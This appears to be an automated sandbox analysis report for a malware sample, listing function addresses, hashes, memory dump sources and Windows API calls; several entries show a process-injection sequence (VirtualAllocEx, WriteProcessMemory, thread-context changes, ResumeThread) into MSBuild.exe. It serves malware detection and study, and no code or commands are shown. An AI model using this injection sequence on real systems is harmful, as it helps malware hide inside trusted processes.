Opcode ID: 261f937b9fcb3b9ad4800118ce4f8f252b69420f1ba44e2c03507cae01e52272
Instruction ID: 7f7314fcd155f4c504c13c224d6fd296dd7932c11f86b954092e448f8629fced
Opcode Fuzzy Hash: 261f937b9fcb3b9ad4800118ce4f8f252b69420f1ba44e2c03507cae01e52272
Instruction Fuzzy Hash: 9C5156B0901349CFEB14DFA9D9487DEBBF1BF88304F248459D519AB3A0DB34A944CB65

Function 016ED340 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 016ED3BE
GetCurrentThread.KERNEL32 ref: 016ED3FB
GetCurrentProcess.KERNEL32 ref: 016ED438
GetCurrentThreadId.KERNEL32 ref: 016ED491

Memory Dump Source

Source File: 0000000A.00000002.2538526807.00000000016E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_16e0000_FZcXKpA.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 9ab119b926b4bb8cd400b05480fe86243837651c9241b99b0b71111ca602a3a6
Instruction ID: cd86e70ff49beaa7bfff67cfab9df2d21ba7a0012a2ffc10d3c4ed638efe4b11
Opcode Fuzzy Hash: 9ab119b926b4bb8cd400b05480fe86243837651c9241b99b0b71111ca602a3a6
Instruction Fuzzy Hash: C65145B0901349CFDB14DFAAD948BDEBBF1BB88314F208459E519A7360D734A944CB65

Function 076BEA98 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 076BECCE

Memory Dump Source

Source File: 0000000A.00000002.2543892244.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_76b0000_FZcXKpA.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c6870d5a18a54ea35dfd0afbaf69aa131fe96afb2311beeddad0463adbc32b9b
Instruction ID: c69d022d8c7db68993d823a9a0b5c35ac08c8c04fd67c4068201269ca10c10c2
Opcode Fuzzy Hash: c6870d5a18a54ea35dfd0afbaf69aa131fe96afb2311beeddad0463adbc32b9b
Instruction Fuzzy Hash: 31917EB1D0021ADFEF20DF68C841BEDBBB2BF45310F1485A9D81AA7240DB759985CF91

Function 016EB0A8 Relevance: 1.7, APIs: 1, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 016EB2FE

Memory Dump Source

Source File: 0000000A.00000002.2538526807.00000000016E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_16e0000_FZcXKpA.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2f002711fbc15f627f2e4a9147485c73e3ba489d74dd33aee035c11348a6d7f7
Instruction ID: 4f019f74e03da587cfe390a0afe2dcbdc52be018eff93a6889617782deb2b758
Opcode Fuzzy Hash: 2f002711fbc15f627f2e4a9147485c73e3ba489d74dd33aee035c11348a6d7f7
Instruction Fuzzy Hash: 1F714770A01B058FE725DF6AD84475ABBF2FF88210F008A2DD146DBB50D775E945CB91

Function 016E58ED Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 016E59A9

Memory Dump Source

Source File: 0000000A.00000002.2538526807.00000000016E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_16e0000_FZcXKpA.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: f3f521ec7b771b71495ba12f8c783f4d898d0bfa74a3e8177e7f2ca0e1de7ac1
Instruction ID: 4da3bef0a8ed25a2587713a16454016f95e410da52be1f2312d4bc8d6103defb
Opcode Fuzzy Hash: f3f521ec7b771b71495ba12f8c783f4d898d0bfa74a3e8177e7f2ca0e1de7ac1
Instruction Fuzzy Hash: B241D174D00719CFDB24DFAAC844ADEBBF5BF84304F20815AD409AB251DB756946CF90

Function 016E4514 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 016E59A9

Memory Dump Source

Source File: 0000000A.00000002.2538526807.00000000016E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_16e0000_FZcXKpA.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8a47af3c84aec1ddf523c877cf65a7c61507d906e284ed997fded83d67234f0d
Instruction ID: b61fb10046371fb54daacc71d41d25ba33c0f8f31fe4ad8f44c27a31b357fce8
Opcode Fuzzy Hash: 8a47af3c84aec1ddf523c877cf65a7c61507d906e284ed997fded83d67234f0d
Instruction Fuzzy Hash: 6E41CF74C0071DCBDB24DFAAC844B8EBBF5BF89304F20816AD409AB251DB75A946CF90

Function 076C3468 Relevance: 1.6, APIs: 1, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.2543965316.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_76c0000_FZcXKpA.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 1c01df0418628e55305f8cc5731ec4c64a862bc8492414e0389ecba6c3e78403
Instruction ID: 595ea1e5e4e98af56dadd1baa39af590d7d0c516452fc716180955c47ef74e8d
Opcode Fuzzy Hash: 1c01df0418628e55305f8cc5731ec4c64a862bc8492414e0389ecba6c3e78403
Instruction Fuzzy Hash: 73319EB1904399EFCB11CFAAD844AEABFF8EF49310F14805AE654AB351C3359850DFA1

Function 076CC9A8 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 076CCA47

Memory Dump Source

Source File: 0000000A.00000002.2543965316.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_76c0000_FZcXKpA.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 1cca0af5db081b6bba6cbcaf5546ca3ac1e6bfd149bcf29f157c72eb75aad0ad
Instruction ID: 128ef8871408dd9fbaf38765976edf29c78dc8641816e8c2cbefaa658ab4c54a
Opcode Fuzzy Hash: 1cca0af5db081b6bba6cbcaf5546ca3ac1e6bfd149bcf29f157c72eb75aad0ad
Instruction Fuzzy Hash: 4131E4B59002499FDB10CF9AD884AEEFBF5FB48324F14842EE519A7710D775A540CFA4

Function 076CC9B0 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 076CCA47

Memory Dump Source

Source File: 0000000A.00000002.2543965316.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_76c0000_FZcXKpA.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 652928e425804cd7159898f907b2b41aba21e2cc9b6757bf6fd0381091321c90
Instruction ID: e4fd4d4a8c299605b84d1cdb8e0504d05c4f8f5bff835113b8678af44572175b
Opcode Fuzzy Hash: 652928e425804cd7159898f907b2b41aba21e2cc9b6757bf6fd0381091321c90
Instruction Fuzzy Hash: 8121C2B59002499FDB10CF9AD884AAEBBF5EB48324F14842EE519A7710D774A544CFA4

Function 076BE810 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 076BE8A0

Memory Dump Source

Source File: 0000000A.00000002.2543892244.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_76b0000_FZcXKpA.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f544f14bb4bbbed0ba72e2bd4c2675d228573bea56f0104002962d8a7bb06023
Instruction ID: 89f7de7d094a6eab5936fae44ed5840febddaff10f90306467396cc490049c22
Opcode Fuzzy Hash: f544f14bb4bbbed0ba72e2bd4c2675d228573bea56f0104002962d8a7bb06023
Instruction Fuzzy Hash: C42136B1D003599FDB10DFAAC881BDEBBF5FF88310F14842AE919A7240C7799950CBA4

Function 076BE678 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 076BE6F6

Memory Dump Source

Source File: 0000000A.00000002.2543892244.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_76b0000_FZcXKpA.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 74436999a5eedf86c306416eb288beb633e0cfc5b0e533b0264c30c9bc0bf168
Instruction ID: 2c7ae53d870a7de5322daeee4dfde9e1541490f0c7d4b46d6b073c5445e9acfa
Opcode Fuzzy Hash: 74436999a5eedf86c306416eb288beb633e0cfc5b0e533b0264c30c9bc0bf168
Instruction Fuzzy Hash: 7B214CB1D003099FDB10DFAAC4857EEBBF4EF88314F148429D519A7241D7799544CFA4

Function 076BE900 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 076BE980

Memory Dump Source

Source File: 0000000A.00000002.2543892244.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_76b0000_FZcXKpA.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: ef986e817bcef216dc2c7e75a34c388918fe35335d170f599518938b96a878cd
Instruction ID: c929bc53a6a9c6ed19800eff5f1383384c0bffaff9acad6166cbbc59e32de974
Opcode Fuzzy Hash: ef986e817bcef216dc2c7e75a34c388918fe35335d170f599518938b96a878cd
Instruction Fuzzy Hash: D02128B1C003599FDB10DFAAC881ADEFBF5FF48310F108429E559A7250C7399944CBA4

Function 016ED588 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 016ED60F

Memory Dump Source

Source File: 0000000A.00000002.2538526807.00000000016E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_16e0000_FZcXKpA.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c2fbb0f06e85611b8b234dd7b7571ce4f58dccf23accaf6f7295b403ba7133e0
Instruction ID: 2737da574af2de3b3a7251f239a9d5b92d8fc60e7c9c9ef6f88a97de7116f498
Opcode Fuzzy Hash: c2fbb0f06e85611b8b234dd7b7571ce4f58dccf23accaf6f7295b403ba7133e0
Instruction Fuzzy Hash: 7F21E4B59002599FDB10CF9AD984ADEBFF4EB48314F14841AE918A3350D378A954CFA5

Function 016ED581 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 016ED60F

Memory Dump Source

Source File: 0000000A.00000002.2538526807.00000000016E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_16e0000_FZcXKpA.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e636a66f9dfcb406610bc5479ceb0852add45634b252f89e92720717d28dbebc
Instruction ID: 0b31f7ff0fdfb1b70e4dfe795a649fc167ab1f6521997341d96b9ad0aef5575f
Opcode Fuzzy Hash: e636a66f9dfcb406610bc5479ceb0852add45634b252f89e92720717d28dbebc
Instruction Fuzzy Hash: 3021F0B9900219DFDB10CFA9D984ADEBBF5FB48314F14841AE918B3350D378A954CFA5

Function 076C1254 Relevance: 1.6, APIs: 1, Instructions: 56
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,076C3482,?,?,?,?,?), ref: 076C3527

Memory Dump Source

Source File: 0000000A.00000002.2543965316.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_76c0000_FZcXKpA.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: f476ff0c7a372fa7cbf0ad06a446c8f1ca5b0647da8aaefad36fe5a0f8dbb1fb
Instruction ID: 7e45f7fce84b4eb482bf268d90aacd2579097ab04312cd69ab2f5f24e5c4c2a5
Opcode Fuzzy Hash: f476ff0c7a372fa7cbf0ad06a446c8f1ca5b0647da8aaefad36fe5a0f8dbb1fb
Instruction Fuzzy Hash: 9D1117B58002499FDB10DF9AD844AEEBFF8EB48320F14841AE515A7210C379A954DFA5

Function 076BE750 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 076BE7BE

Memory Dump Source

Source File: 0000000A.00000002.2543892244.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_76b0000_FZcXKpA.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3e1b1aede0b7560ca1f4c66df92dd9f359be6f62bb984069ad7674b145603f8a
Instruction ID: cf9c3877a6d6d41bc0eaafe1310cc77602dae2df959bb5147a4446bbb7344ce8
Opcode Fuzzy Hash: 3e1b1aede0b7560ca1f4c66df92dd9f359be6f62bb984069ad7674b145603f8a
Instruction Fuzzy Hash: B61167759002499FDB10DFAAC844BDFBBF5EF88320F248819E519A7250C7359540CFA4

Function 076BE190 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 076BE1F2

Memory Dump Source

Source File: 0000000A.00000002.2543892244.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_76b0000_FZcXKpA.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a8bf5e0d05d950deb504da577f5a9217f40e9d9efe70357c7e1decf41622fc7a
Instruction ID: 90a4b213c026dae3218e12ee0915a7cf1a2916ed22f838df531da4112215c7c5
Opcode Fuzzy Hash: a8bf5e0d05d950deb504da577f5a9217f40e9d9efe70357c7e1decf41622fc7a
Instruction Fuzzy Hash: A81128B19003498FEB20DFAAC845BDEFBF5AF88624F248419D519A7240CB79A540CB95

Function 016EB298 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 016EB2FE

Memory Dump Source

Source File: 0000000A.00000002.2538526807.00000000016E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_16e0000_FZcXKpA.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 8d91c59933c975a6bfe96aa67763c739cfafa3ad97e2b0edd7997504db14a43c
Instruction ID: 9e416f695b6267dc66de5cac52d218325de3ce7f4328ca1299940abe78b97771
Opcode Fuzzy Hash: 8d91c59933c975a6bfe96aa67763c739cfafa3ad97e2b0edd7997504db14a43c
Instruction Fuzzy Hash: C01110B5C006498FDB10CF9AC844ADEFBF4AF88324F10851AD919A7210D379A545CFA5

Function 0BB91CC8 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0BB91D25

Memory Dump Source

Source File: 0000000A.00000002.2546795081.000000000BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb90000_FZcXKpA.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 3cdcad95e06505c2f76a3d7bb55f39d26cd1fc6f7ee813a6d96897c10aa24ead
Instruction ID: ef59f212a77f406ec7bf205a9c4d559040982a05ebd43adc8f5ac6d6452d33e4
Opcode Fuzzy Hash: 3cdcad95e06505c2f76a3d7bb55f39d26cd1fc6f7ee813a6d96897c10aa24ead
Instruction Fuzzy Hash: 601115B5800349DFDB10CF9AD844BDEFBF8EB48724F108459E518A7200C375A544CFA5

Function 0BB91CC1 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0BB91D25

Memory Dump Source

Source File: 0000000A.00000002.2546795081.000000000BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb90000_FZcXKpA.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 938800ad1283a56c502e8f81c32a9939e735b5d46ad10337d1c95ac9fb57f391
Instruction ID: 69bd4101bd94bb346b47c2f0e8558eebd9868ff8c7d14774b6f50e505cfc05ee
Opcode Fuzzy Hash: 938800ad1283a56c502e8f81c32a9939e735b5d46ad10337d1c95ac9fb57f391
Instruction Fuzzy Hash: E511F2B5800249DFDB10CF99D985BDEBBF4EF48324F10885AD558A7600C375A554CFA5

Function 0143D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2535891210.000000000143D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0143D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_143d000_FZcXKpA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00481569e119684b69af0e6b679208c48af12ff9b69160ebb0b29d2d0f8b4b4b
Instruction ID: d388d68fbef978c2c2758fa6fc855ea543040c13c701642701d85dc851d7ea3e
Opcode Fuzzy Hash: 00481569e119684b69af0e6b679208c48af12ff9b69160ebb0b29d2d0f8b4b4b
Instruction Fuzzy Hash: B521D372904244EFDB05DF54D9C0B27BF65FBC8318F64C56EE9090B2A6C336D456CAA1

Function 0143D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2535891210.000000000143D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0143D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_143d000_FZcXKpA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b66ef62bfd8d49229774f7b8ae5bcc1953dd9b10874676ea02fa655c4be51ff8
Instruction ID: 348ae1334fdd6229521c94119fcc0cbd00551fe90696f40b56c117ae7f90130a
Opcode Fuzzy Hash: b66ef62bfd8d49229774f7b8ae5bcc1953dd9b10874676ea02fa655c4be51ff8
Instruction Fuzzy Hash: A421F171904204DFDB05DF54D9C0B56BB65FBD8324F60C57EE9090B266C336E456CBA1

Function 0144D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2536130486.000000000144D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0144D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_144d000_FZcXKpA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b806c8468f3644ec208b809776bdcd14c32df4f0f9e17bdf92dde75699c28ee
Instruction ID: 4354eccb259841ccba3bacd7aef175e56b0f9ec5e0832efe2c149410374c43a3
Opcode Fuzzy Hash: 4b806c8468f3644ec208b809776bdcd14c32df4f0f9e17bdf92dde75699c28ee
Instruction Fuzzy Hash: F921F671A04204EFEB05DF94D9C4B26BBA5FB94324F24C66EE9094B3A2C376D446CB61

Function 0144D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2536130486.000000000144D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0144D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_144d000_FZcXKpA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac6ff07262fc68b794f9a61861c12f703a50c3f59aa2220d8ca75ca76327eb26
Instruction ID: 795b7c3392f5254340592e91f55d9c80b0e48d6d66abf83d091d7109ebc4d7a5
Opcode Fuzzy Hash: ac6ff07262fc68b794f9a61861c12f703a50c3f59aa2220d8ca75ca76327eb26
Instruction Fuzzy Hash: 922134B1A04200DFEB15DF94D9C4B16BBA1FB94318F20C56ED90A4B3A6C33AD447CA61

Function 0144D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2536130486.000000000144D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0144D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_144d000_FZcXKpA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 580b19823136bd892af40b73a7b9f662dcaa55357dcf41b10815dfcf4636f205
Instruction ID: b3f0dab50ec9f94e831fe9848b68fb3882e735d3630434b98e2ccd9e74b20879
Opcode Fuzzy Hash: 580b19823136bd892af40b73a7b9f662dcaa55357dcf41b10815dfcf4636f205
Instruction Fuzzy Hash: 232192755093808FDB17CF64D594716BF71EB46218F28C5DBD8498F2A7C33A980ACB62

Function 0143D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2535891210.000000000143D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0143D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_143d000_FZcXKpA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction ID: 46a925a21d4bb80b96f13fc05bc249a2953835c35dcdd2f6ed371a5cc36c1052
Opcode Fuzzy Hash: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction Fuzzy Hash: CC11DF72804240CFCB02CF54D9C0B56BF71FB98324F24C2AAD8090B267C33AE456CBA1

Function 0143D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2535891210.000000000143D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0143D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_143d000_FZcXKpA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction ID: 18ad5d6ea22bf1cc0d1ab87174a1bcbf6b84c9fa5109fa33d2ca736a9080b2f8
Opcode Fuzzy Hash: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction Fuzzy Hash: 3411B176904280CFDB16CF54D9C4B16BF71FB88328F24C6AAD8490B667C33AD456CBA1

Function 0144D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2536130486.000000000144D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0144D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_144d000_FZcXKpA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5dd070f47a673dda7babee824c8441981cc2d376d27ad6ac8e2bf7ef2f1688d
Instruction ID: 5fc9057dd68cd8d95f6ebae4de6bfba60bf8bbd8cd10f1c03672f2c7ed6d4e20
Opcode Fuzzy Hash: f5dd070f47a673dda7babee824c8441981cc2d376d27ad6ac8e2bf7ef2f1688d
Instruction Fuzzy Hash: 2B11BB75904280DFDB02CF54C5C4B16BBA1FB84224F24C6AAD8494B3A6C33AD40ACB61

Function 0143D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2535891210.000000000143D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0143D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_143d000_FZcXKpA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b597cd882efb74a5aaf1742a213b544858d4ec1e7f205f89bb9f56cbb33300f
Instruction ID: 1939e6916a092b4b2ffb249c4fd5e3b6b42425e8afa424af281d20ce022bd84f
Opcode Fuzzy Hash: 9b597cd882efb74a5aaf1742a213b544858d4ec1e7f205f89bb9f56cbb33300f
Instruction Fuzzy Hash: 9D01F7319043849AF7125EA9CD84B67BF98EF89264F58851BEE080A392D339D442C671

Function 0143D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2535891210.000000000143D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0143D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_143d000_FZcXKpA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0c1172fbfc7b8639952d190357b442151b90424d3f4dd1236772898e9fdb5bd
Instruction ID: f333017141a7b93b754952343a2ccb65b6968f8d05b4995bd58c1dbf6c32212b
Opcode Fuzzy Hash: d0c1172fbfc7b8639952d190357b442151b90424d3f4dd1236772898e9fdb5bd
Instruction Fuzzy Hash: 1DF0CD75804384AAE7118E1ACC88B63FF98EB85634F18C05AED080A396C3799840CAB1

Analysis Process: MSBuild.exePID: 7704, Parent PID: 7360COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.2%
Total number of Nodes:	184
Total number of Limit Nodes:	14

Executed Functions

Function 02EBC146 Relevance: 4.0, Strings: 3, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljp, xrefs: 02EBC377
0op, xrefs: 02EBC20A
Ljp, xrefs: 02EBC38D

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op$Ljp$Ljp
API String ID: 0-600165640
Opcode ID: 9da291daf1f1ed864637551b54fbc7e089253b243cdd1ca900fe4591bddb8cc9
Instruction ID: c5fb97d6bc7f7fcb043870aa8c1419d0a903505e02ae5474de2d9ed90a44a497
Opcode Fuzzy Hash: 9da291daf1f1ed864637551b54fbc7e089253b243cdd1ca900fe4591bddb8cc9
Instruction Fuzzy Hash: 17A1D974E44258CFDB15CFA9D884A9EBBF2BF89314F24D0AAE409AB351DB349841CF50

Function 02EB5362 Relevance: 3.9, Strings: 3, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0op, xrefs: 02EB53E2
Ljp, xrefs: 02EB5550
Ljp, xrefs: 02EB5566

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op$Ljp$Ljp
API String ID: 0-600165640
Opcode ID: 6470f5dfaf9b1235a280d73cb1a411b79857878c226d716ffc42118a9910e813
Instruction ID: 2dfd37c0176588642ae50dcd4a001aba1f112665e084cb66900dede80121b923
Opcode Fuzzy Hash: 6470f5dfaf9b1235a280d73cb1a411b79857878c226d716ffc42118a9910e813
Instruction Fuzzy Hash: 9991C074E402588FDB15CFAAD884ADEBBF2BF88301F54D0A9E449AB365DB349941CF10

Function 02EBC468 Relevance: 3.9, Strings: 3, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljp, xrefs: 02EBC65D
0op, xrefs: 02EBC4DA
Ljp, xrefs: 02EBC647

Memory Dump Source

Source File: 00000011.00000002.3577133556.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2eb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op$Ljp$Ljp
API String ID: 0-600165640
